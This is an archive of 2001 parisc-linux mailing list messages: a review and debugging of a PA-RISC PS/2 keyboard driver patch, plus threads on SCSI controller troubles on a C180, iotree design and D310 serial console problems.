From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Tue, 7 Aug 2001 11:58:17 +0100
Lines: 79
Approved: news@gmane.org
Message-ID: <20010807115817.A1011@linuxcare.com>
References: <3B6F986D.FA89E147@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620365 23470 80.91.229.3 (22 Nov 2014 01:39:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:25 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 04:57:00 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 140FE482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 04:57:00 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 570A5B00C; Tue,  7 Aug 2001 11:58:17 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3B6F986D.FA89E147@esiee.fr>; from marteaut@esiee.fr on Tue, Aug 07, 2001 at 09:27:41AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:11823

Hi Thimas,

On Tue, Aug 07, 2001 at 09:27:41AM +0200, Thomas Marteau wrote:

> +static int cmd_status;

Calling this awaiting_ack, and setting it true/false might make the code
more readable.  Also I suspect it should be volatile really, as it is
modified via an interrupt handler.

> +	cmd_status=2;
> +	while (cmd_status!=0) {
> +		write_output(KBD_CMD_SET_LEDS, lasikbd_hpa);
> +		mdelay(1); 
> +	}

Nasty, as it will hang the kernel if the keyboard never ACKs.  Should at
least limit the muber of times you loop here.

> +		while ((read_status(hpa) & LASI_STAT_TBNE)==0x01);

Why not simply

		while ((read_status(hpa) & LASI_STAT_TBNE))
			;

> +	do {
> +		while ((read_status(hpa) & LASI_STAT_TBNE)==0x01);
> +		gsc_writeb(0x00, hpa+LASI_XMTDATA);
> +		
> +		while ((read_status(hpa) & LASI_STAT_RBNE)==0x00);
> +   
> +		while ((read_status(hpa) & LASI_STAT_RBNE)==0x01) {
> +			data=read_input(hpa);
> +			fail++; 
> +			if(fail==10) break; 
> +		}
> +   	}while(data!=AUX_REPLY_ACK); 

Do you really want the third 'while' loop in that block of code?

	loop = 10;
	do {
		while ((read_status(hpa) & LASI_STAT_TBNE))
			;
		gsc_writeb(0x00, hpa+LASI_XMTDATA);
		while (!(read_status(hpa) & LASI_STAT_RBNE))
			;
		data = read_input(hpa);
		loop--;
	} while (data != AUX_REPLY_ACK && loop);

One less while loop, but it can still hang in either of the first two while
loops if the h/w misbehaves.

> +        /* allocate the irq and memory region for that device */
> +	if (!(irq = busdevice_alloc_irq(d)))
> +		return -ENODEV;
> +		    
> +	if (request_irq(irq, lasikbd_interrupt, 0, name, hpa))
> +		return -ENODEV;
> +	
> +	if (!request_mem_region((unsigned long)hpa, LASI_STATUS + 4, name))
> +		return -ENODEV;

Typically a driver would release resources before exiting.  e.g. if
request_mem_region() fails you should release_irq().

There are a couple of compiler warnings also.

Anyway, I'm about to try it on a couple of machines here; I'll let you
know how it goes.

Cheers,
  Richard





From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Tue, 7 Aug 2001 13:14:19 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010807131419.B1011@linuxcare.com>
References: <3B6F986D.FA89E147@esiee.fr> <20010807115817.A1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620366 23474 80.91.229.3 (22 Nov 2014 01:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:26 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 06:13:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id D5814482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 06:13:01 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 09E28B00C; Tue,  7 Aug 2001 13:14:19 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010807115817.A1011@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 07, 2001 at 11:58:17AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11824

On Tue, Aug 07, 2001 at 11:58:17AM +0100, Richard Hirst wrote:
> Anyway, I'm about to try it on a couple of machines here; I'll let you
> know how it goes.

HP US keyboard on B180.  Worked until I unplugged and replugged the
keyboard.  Keyboard was dead after that, but machine still responded
to pings.

Compaq UK keyboard on B180.  Worked initially, except pressing '\' (to
the left of Z) gave "unrecognised scancode (7f) ignored".  I then pressed
CapsLock, and the machine hung, not even responding to pings.

Went back to the HP keyboard, and CapsLock hangs the machine there also.

Richard





From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Reinhard Gimbel <Reinhard.Gimbel@freenet.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180: no real progress :-(
Date: Tue, 7 Aug 2001 14:39:04 +0200
Lines: 104
Approved: news@gmane.org
Message-ID: <01080714390400.00937@octopus>
References: <01080622381300.01641@octopus> <20010806231339.Z1011@linuxcare.com>
Reply-To: Reinhard.Gimbel@freenet.de
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620366 23479 80.91.229.3 (22 Nov 2014 01:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:26 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 06:39:17 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mout0.freenet.de (mout0.freenet.de [194.97.50.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id 36BE7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Aug 2001 06:39:08 -0600 (MDT)
Original-Received: from [194.97.50.144] (helo=mx1.freenet.de)
	by mout0.freenet.de with esmtp (Exim 3.32 #1)
	id 15U68W-0000YC-00; Tue, 07 Aug 2001 14:39:04 +0200
Original-Received: from aaa90.pppool.de ([213.6.170.144] helo=octopus)
	by mx1.freenet.de with smtp (Exim 3.32 #1)
	id 15U68V-0000D4-00; Tue, 07 Aug 2001 14:39:03 +0200
X-Mailer: KMail [version 1.2]
In-Reply-To: <20010806231339.Z1011@linuxcare.com>
Xref: news.gmane.org gmane.linux.ports.parisc:11825

On Tue, Aug 07, 2001 at 00:13 Richard Hirst wrote:

> I have heard of a C160 with what could be similar problems. 
> The C160 has internal diff scsi drives, and it seems that
> using that interface causes disk corruption.  The only way he
> managed an install was to disconnect all devices from the
> diff scsi interface, and install to disks on the external
> scsi.  Is that something you can try easily? Note, he had to
> physically disconnect the diff disks, it wasn't sufficient to
> simply not use them.

Any idea how one could connect the drives without those 
expensive Fast/Wide SCSI cables (The box I got is from a local 
2nd hand computer dealer for approx USD 50 ...)

What do you mean with "external" SCSI ? If I connect the drives 
to the connector on the backplane isn't it the same FWSCSI 
channel as the internal one (which might be buggy) ? Or is it a 
seperate channel ?

Should I use one of the PCI slots to install a seperate SCSI 
host adaptor ? Could be an idea but actually I don't have an 
extra FWSCSI PCI adaptor on hand (I would like to use the 
internal 4.5 GB FWSCSI drives ...)

I also don't have a seperate external FWSCSI box where I could 
put the C180 internal drives in. (Again, I'm doing this as a 
hobby and my wife will propably kill me if I buy boxes and 
cables for lets say USD 150 ... ;-)

Isn't there another way to go ?

On that box was HP-UX 10.20 installed and the hardware is still 
the same. So there must/could be a software solution, right ?

BTW: Is that a problem of C1xx only ? Or is that problem known 
with other HP PA-Risc workstations, too ?

> What scsi interfaces does that box have anyway?  Boot up msgs
> should mention chip numbers - 53c710, 53c720, etc.

According to the boot message its a 53c710 for the SESCSI 
channel and a 53c720 for the FWSCSI channel

> > [2] Try to get full support of any key (at least german
> > keyboard support lacks on essential things ...) eg. no
> > pipe/vertical bar; no support of capslock (keyboard
> > unusable after accidently hit capslock; nothing helped;
> > un-/replug, too)
>
> Hmm, yeah; I had a UK keyboard where pipe key didn't work.  I
> got it with <alt>+124 on the numeric pad, or with <alt-gr>
> and the key to the left of '1' (back-quote, etc).  Obviously
> needs fixing though.

Thanks for that hint with <alt>-xzy ! Seems to be the same as 
with good old DOS boxes, right ? Why I did not try that ?

> > [3] Sometimes I could see a message like
> > "ioctl: LOOP_CLR_FD: No such device or address"
> > short time before the C180 crashed. Any idea ?
>
> That's a feature of the installer ;)  Happens on all archs
> and is harmless.

The problem is that one isn't sure if that could be the core 
reason or not, you know ...

I'm not used to use Debian Linux. It's the first time to use 
Debian so I couldn't have much experience in that ...

> > [1] Do real disabling of "dhcp-client" if it is set to "no"
> > during installation. (Those kernel message caused by
> > dhcp-client are boring; try it with open editor; great ;-)
>
> That is a problem with the dhcp-client package, again common
> to all archs.  The solution is "rm /etc/rc?.d/*dhcp-client". 
> It has been discussed on the debian-boot list, and hopefully
> someone will fix it. It has been suggested that we switch
> back to using pump.  There is a new version of dhcp-client in
> experimental, but it is much bigger, which causes problems
> for people that boot from floppies, at least.

I know the SuSE Linux approach of init. I have to get familiar 
with the Debian/Redhat way to do it ...


Now some philosophy:

On the other hand one has to fight on many different frontiers 
if one is using uncommon things :-)

Of course it's easier to go the known way. But why not to go 
the unknown way ? There are many things to discover ...


Thanks a lot ! There's hope :-) There's light on the end of the 
dark tunnel :-)


Reinhard.




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C180: no real progress :-(
Date: 07 Aug 2001 10:57:09 -0400
Organization: mkp.net
Lines: 39
Approved: news@gmane.org
Message-ID: <yq1k80fex4q.fsf@jcb.mkp.net>
References: <01080622381300.01641@octopus>
	<20010806231339.Z1011@linuxcare.com> <01080714390400.00937@octopus>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620366 23480 80.91.229.3 (22 Nov 2014 01:39:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:26 +0000 (UTC)
Cc: Richard Hirst <rhirst@linuxcare.com>,
	parisc-linux@lists.parisc-linux.org
To: Reinhard.Gimbel@freenet.de
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 08:58:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tux.mkp.net (tux.mkp.net [130.225.60.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 69CC8482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  7 Aug 2001 08:58:05 -0600 (MDT)
Original-Received: from tux.mkp.net ([130.225.60.11] helo=jcb.mkp.net)
	by tux.mkp.net with esmtp (Exim 3.31 #1)
	id 15U8Iz-0005mR-00; Tue, 07 Aug 2001 16:58:02 +0200
Original-Received: (from mkp@localhost)
	by jcb.mkp.net (8.11.0/8.9.3) id f77EvAC03765;
	Tue, 7 Aug 2001 10:57:10 -0400
X-Authentication-Warning: jcb.mkp.net: mkp set sender to mkp@mkp.net using -f
Original-Sender: mkp@mkp.net
In-Reply-To: <01080714390400.00937@octopus>
Original-Lines: 36
User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Copyleft)
Xref: news.gmane.org gmane.linux.ports.parisc:11826

>>>>> "Reinhard" == Reinhard Gimbel <Reinhard.Gimbel@freenet.de> writes:

>> I have heard of a C160 with what could be similar problems.  The
>> C160 has internal diff scsi drives, and it seems that using that
>> interface causes disk corruption.  The only way he managed an
>> install was to disconnect all devices from the diff scsi interface,
>> and install to disks on the external scsi.  Is that something you
>> can try easily? Note, he had to physically disconnect the diff
>> disks, it wasn't sufficient to simply not use them.

The `external' SCSI Richard is referring to in my C160 is a Symbios
53C875 PCI board.

If you shop for one you have to be careful.  Most PC branded
controllers only support 5V PCI.  You need a controller with 3.3V PCI
support for the C180.  So I ended up buying a couple of Symbios
branded ones.  They support both voltages.

If you want to use the differential drives you got with the box, you
should buy the differential version of the controller.

And you need an external enclosure for the disks as it is close to
impossible to do internal cable routing in the box.  The 53C720 pins
go directly to the I/O bay edge connector.

Another alternative is to shop around for a dead C200/C240/C360 I/O
daughterboard which has an 875 instead of a 720.  That way you can use
the internal disk bay.  But you need Ultra Wide SCSI disks and not
differential ones in that case.

And finally - if you don't feel like spending money - keep bugging
Richard until he fixes the 710/720 problems ;)

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Tue, 7 Aug 2001 17:23:28 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <20010807172328.F14978@parcelfarce.linux.theplanet.co.uk>
References: <3B6F986D.FA89E147@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620367 23484 80.91.229.3 (22 Nov 2014 01:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:27 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 10:23:55 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 680E2482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 10:23:54 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15U9dg-0003XU-00; Tue, 07 Aug 2001 17:23:28 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B6F986D.FA89E147@esiee.fr>; from marteaut@esiee.fr on Tue, Aug 07, 2001 at 09:27:41AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11827

On Tue, Aug 07, 2001 at 09:27:41AM +0200, Thomas Marteau wrote:
> I must also add that this patch is not yet tested
> with Matthew Wilcox's version, according to his mail (
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-August/013302.html
> ). I will do it as soon as possible.

Don't worry about that; if you manage to fix the keyboard problems,
I'll adapt my patch.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Tue, 7 Aug 2001 22:36:50 +0100
Lines: 102
Approved: news@gmane.org
Message-ID: <20010807223650.F1011@linuxcare.com>
References: <3B6F986D.FA89E147@esiee.fr> <20010807115817.A1011@linuxcare.com> <20010807131419.B1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620367 23486 80.91.229.3 (22 Nov 2014 01:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:27 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 15:35:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D758482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 15:35:40 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id B0D6FB00C; Tue,  7 Aug 2001 22:36:50 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010807131419.B1011@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 07, 2001 at 01:14:19PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11828

On Tue, Aug 07, 2001 at 01:14:19PM +0100, Richard Hirst wrote:
> Went back to the HP keyboard, and CapsLock hangs the machine there also.


I've fixed the lockup on CapsLock, using an analyser to monitor what happened
on the PS/2 cable:

(fw=firmware, kb=keyboard, li=linux)

B180, HP keyboard, this is what the firmware does on reset:

fw F5	disable scanning
kb FA	ack

fw F2	???
kb FA	ack
kb AB
kb 83

fw FF	reset
kb FA	ack
kb AA	power-on reset

fw F0	???
kb FA	ack

fw 02	???
kb FA	ack

fw F0	???
kb FA	ack

fw 00	???
kb FA	ack
kb 02

fw ED	set leds
kb FA	ack

fw 02	NumLock
kb FA	ack

fw F4	enable scanning
kb FA	ack

Now CapsLock pressed and released:

kb 58	keypress

fw ED	set leds
kb FA	ack

fw 06	CapsLock + NumLock
kb FA	ack

kb F0	keyrelease
kb 58

Now we boot Linux:

li ED	set leds
kb FA	ack

li 00	No LEDs
kb FA	ack

li F4	enable scanning
kb FA	ack

Now we press and release '1':

kb 16	keypress

kb F0	keyrelease
kb 16

Now we press CapsLock:

kb 58	keypress

li ED	set leds
li ED	set leds
kb FA	ack

System is hung.

The problem was that the driver retried the 'set leds' every 1ms, but the data rate
on the serial PS/2 cable is such that it takes at least 1ms for the command to reach
the keyboard, and a further 1ms for the ack to return.

I changed the driver to allow 5ms rather than 1ms, and it works now.  In fact, for
my keyboard, the time from command being written to ack being received is about
2.5ms.

Can't say I like the idea of mdelay(5) being called 3 times every time I press
CapsLock though.

Richard





From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The final patch for the keyboard problem
Date: Wed, 8 Aug 2001 00:31:23 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010808003123.G1011@linuxcare.com>
References: <3B6F986D.FA89E147@esiee.fr> <20010807115817.A1011@linuxcare.com> <20010807131419.B1011@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620367 23488 80.91.229.3 (22 Nov 2014 01:39:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:27 +0000 (UTC)
Cc: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
To: Thomas Marteau <marteaut@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug  7 17:30:10 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc2-hems4-0-cust95.bre.cable.ntl.com [213.107.176.95])
	by dsl2.external.hp.com (Postfix) with ESMTP id 793EC482A
	for <parisc-linux@parisc-linux.org>; Tue,  7 Aug 2001 17:30:09 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 9B706B00C; Wed,  8 Aug 2001 00:31:23 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010807131419.B1011@linuxcare.com>; from rhirst@linuxcare.com on Tue, Aug 07, 2001 at 01:14:19PM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11829

On Tue, Aug 07, 2001 at 01:14:19PM +0100, Richard Hirst wrote:
> On Tue, Aug 07, 2001 at 11:58:17AM +0100, Richard Hirst wrote:
> > Anyway, I'm about to try it on a couple of machines here; I'll let you
> > know how it goes.
> 
> HP US keyboard on B180.  Worked until I unplugged and replugged the
> keyboard.  Keyboard was dead after that, but machine still responded
> to pings.

Tried unplugging/replugging again; survived this time.  Keyboard
generates a scancode AA (reconnected), but the console says unrecognised
scancode 7f.

btw, I guess we should reinitialise the LED status on a replug.

Back to the compaq UK keyboard, CapsLock works also with the longer
mdelay() calls.  The CapsLock LED doesn't come on, but the others
do, so I'll assume faulty k/b for now.  Unplug/replug still results
in a dead keyboard (init=/bin/sh, so I can't tell if the machine is
still alive).

On the mdelay() calls, the PC driver would check for an ack every 1ms,
but would only resend the command every 1000ms.  Your code was resending
every 1ms.  Checking every 1ms and resending less frequently is better
than just checking and resending every 5ms.
  
Richard





From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] iotree thoughts
Date: Thu, 09 Aug 2001 09:06:43 -0600
Lines: 58
Approved: news@gmane.org
Message-ID: <200108091506.JAA13380@puffin.external.hp.com>
References: <willy@debian.org>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620368 23490 80.91.229.3 (22 Nov 2014 01:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 09:08:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 08F86482A
	for <parisc-linux@parisc-linux.org>; Thu,  9 Aug 2001 09:08:56 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA13380;
	Thu, 9 Aug 2001 09:06:43 -0600
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Mon, 06 Aug 2001 02:05:17 BST." <20010806020517.A14978@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11830

Matthew Wilcox wrote:
> 
> This is a summary and a design document for building an iotree in PA/Linux.
> Grant, Ryan, if I mis-remembered / misunderstood something, do shout.

Cool!

...
> In a related matter, the ABW will pick up serial ports (and other things)
> which aren't activated.  Grant said there was a PDC call to determine
> whether a device is inactive -- I'm not sure which one that is yet.

Yes. AFAIK, LASI sub-devices are listed by PDC. For Dino HPUX makes
a special hvers PDC call. Need to look at the HPUX code or Raven PDC ERS.

> 
> Here's my plan:
> 
>  * From setup_arch, call PDC to get a list of devices.  Put them in a
>    table (marked __init, will be freed later).

Why not start building a tree with "place holder" nodes directly?
Do we need the intermediate table because of memory issues?

ie build a "sparse" tree and have Native Bus walk fill in (or update
wrong) info for devices it finds.

>  * In the badly-named gsc_init, or perhaps in pcibios_init, start the
>    ABW at 0xFFF80000 -- this seems to be the defined location for the
>    central bus.

My long term goal is to be able to build a kernel w/o CONFIG_PCI defined.
And renaming gsc_init to native_bus_init() sounds like a good idea.

>  * Start creating the tree with devices that we find in the ABW.
>    Each device which is a bus adapter / converter will do an ABW for its
>    children, and add in any PDC-discovered devices in the table which are
>    its immediate children.  The add-in is done by copy, not by reference.
>  * At some indeterminate time after this, the table of PDC-reported drivers
>    gets freed along with all the other __init data & code.
> 
> We'll have to be careful with CPU `drivers' since they will have stale
> pointers which must be updated.  Perhaps this is where a ->remove method
> would come in handy; or perhaps we just magically make them cope with
> their ->probe function being called a second time on the same device
> (same HPA).

The latter sounds easier but more like a hack...maybe it's ok though.

thanks,
grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] more serial console problems on D310
Date: Thu, 09 Aug 2001 09:22:18 -0600
Lines: 41
Approved: news@gmane.org
Message-ID: <200108091522.JAA13437@puffin.external.hp.com>
References: <djweis@sjdjweis.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620368 23497 80.91.229.3 (22 Nov 2014 01:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:28 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: djweis@sjdjweis.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Aug  9 09:24:21 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1D6AC482A
	for <parisc-linux@lists.parisc-linux.org>; Thu,  9 Aug 2001 09:24:21 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id JAA13437;
	Thu, 9 Aug 2001 09:22:18 -0600
In-Reply-To: Message from <djweis@sjdjweis.com> 
   of "Sun, 05 Aug 2001 23:06:37 CDT." <Pine.LNX.4.21.0108052251390.1710-100000@oliver.internal.sjdjweis.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11831

djweis@sjdjweis.com wrote:
> I grabbed the 20010704 kernel source and net booted my d310 with it
> combined with the ramdisk from the 0.9.2 install image. I start with the
> serial console on the serial connector labeled "serial console". Output
> only comes through there until the kernel starts, then I have to switch
> over to the other serial port on the machine to see the rest of the boot
> messages.

I look at the HW database and it seems the D310 has two LASI (core_adapter)
chips (and WAX, no PCI). I suspect the detection of serial ports misnumbers
them (ie parisc-linux finds them in the wrong order) or we only properly
handle one of the two LASI's.

>  They come quickly until the root filesystem is mounted. It looks
> like I lose interrupts after that because everything is written in blocks
> of 16 characters with long (15 second?) pauses in between blocks.

Probably not getting interrupts in the first place. The initial
console handling is done with PDC calls - ie polled IO.

> After
> getting this message:
> VFS: Mounted root (ext2 filesystem).
> serial console detected.  Disabling virtual terminals.
> 
> the cursor just tabs along the screen by itself without printing
> anything. 

> Any ideas? Why is the first serial port not being detected/used?

Can you post full console output? (or otherwise make it available)
Interested folks can then start guessing what might be the problem.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:18:45 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: C180: no real progress :-(
Date: Thu, 09 Aug 2001 09:40:13 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <200108091540.JAA13539@puffin.external.hp.com>
References: <Reinhard.Gimbel@freenet.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620368 23500 80.91.229.3 (22 Nov 2014 01:39:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:28 +0000 (UTC)
